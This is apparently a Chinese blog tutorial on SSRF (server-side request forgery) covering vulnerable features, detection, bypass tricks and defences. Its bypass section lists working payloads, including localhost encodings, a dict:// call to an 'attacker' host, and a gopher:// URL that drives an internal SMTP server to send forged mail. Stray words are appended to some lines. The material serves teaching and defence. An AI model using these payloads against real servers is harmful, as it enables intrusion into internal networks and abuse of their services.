Web安全-SSRF

0x01 简介

SSRF(Server-Side Request Forgery),服务端请求伪造。php

攻击利用了可访问Web服务器(A)的特定功能构造恶意payload;攻击者在访问A时,利用A的特定功能构造特殊payload,由A发起对内部网络中系统B(内网隔离,外部不可访问)的请求,从而获取敏感信息。此时A被做为中间人(跳板)进行利用。html

SSRF漏洞缘由,主要是因为服务端提供了从其余服务器获取数据的功能,但未对目标地址进行过滤和校验。服务器

常见业务场景(功能点):网络

  • 分享,经过URL地址分享网页内容,经过URL获取目标页标签等内容
  • 转码服务,适配手机屏幕大小,经过URL地址进行图片转码
  • 图片加载与下载,经过URL加载网络图片(头像上传、等)
  • 图片、文章收藏,经过URL获取目标的title等信息
  • 其余加载URL的功能
  • XXE漏洞点

具体示例,可参考bwapp、乌云各类SSRF漏洞。app

 

0x02 漏洞利用

  • 内网探测(端口、服务、指纹信息)
  • 文件读取(敏感信息)
  • 内网应用攻击、反弹Shell(特定环境)

0x03 漏洞检测

前文提到的特定的功能点:dom

  • 分享,经过URL地址分享网页内容,经过URL获取目标页标签等内容
  • 转码服务,适配手机屏幕大小,经过URL地址进行图片转码
  • 图片加载与下载,经过URL加载网络图片(头像上传、等)
  • 图片、文章收藏,经过URL获取目标的title等信息
  • 其余加载URL的功能
  • XXE漏洞点

URL关键字:ide

share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain

自动化检测工具,AcuMonitor工具

一般的Web扫描器原理都比较简单(以下图),扫描器发送payload到目标主机,分析返回的response后根据特定规则进行告警。对于SSFR、XXE等漏洞不适用,没法定义统一的验证规则,况且有些状况是无回显的。ui

 

这个工具也是利用XXE中OOB以及基于时间延时的攻击向量进行漏洞验证,下图已经比较清楚了。如需详细了解,参考上文连接。url

 

因为工做行业,我的实际工做中几乎没遇到过SSRF问题。因此这里绕过技巧,主要也是网上的一些分享,有些不是很是清楚,先作个记录,后续补充。具体能够阅读参考内容。

  • 添加端口号绕过(域名过滤的状况)
  • 攻击本地
http://localhost
http://127.0.0.1:80
http://[::]:80
  • 利用@,待补充

 

http://example.com@127.0.0.1
 
  • 短地址绕过
  • 特殊域名,xip.io为执行任意IP的域名
http://127.0.0.1.xip.io/
  • 进制转换,16进制、八进制等。待验证
115.239.210.26  >>>  16373751032
//首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
//而后把 73efd21a 这十六进制一块儿转换成8进制
//记得访问的时候加0表示使用八进制(能够是一个0也能够是多个0 跟XSS中多加几个0来绕过过滤同样),十六进制加0x
 
  • 利用协议
//当url协议限定只为http(s)时,能够利用follow redirect 特性
//构造302跳转服务,

Dict://
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://ssrf.php?
url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

0x04 防护

  • 白名单过滤及DNS解析

优先考虑白名单方式验证,过滤应用须要的域名及IP。

白名单不能知足需求时考虑黑名单方式,例如禁止请求私有IP地址。黑名单容易存在过滤不全的问题。

  • 响应处理

对服务器响应内容进行处理(验证是否为预期响应内容),任何状况下都不建议直接返回服务器响应内容给客户端。

  • 禁用没必要要的URL协议

这个不用多说,主要就是经过file、http等协议进行利用,若是不是必要的建议直接禁用。

  • 内部服务认证

基于不可信原则,内网服务需进行认证鉴权。

 

 

参考:

https://www.secpulse.com/archives/65832.html

https://www.freebuf.com/column/157466.html

https://www.t00ls.net/articles-41070.html

https://blog.csdn.net/u010726042/article/details/77806775

https://www.jianshu.com/p/d1d1c40f6d4c

http://www.javashuo.com/article/p-xsyynqht-gh.html

https://www.acunetix.com/blog/articles/server-side-request-forgery-vulnerability/

SSRF --RCE

https://generaleg0x01.com/2019/03/10/escalating-ssrf-to-rce/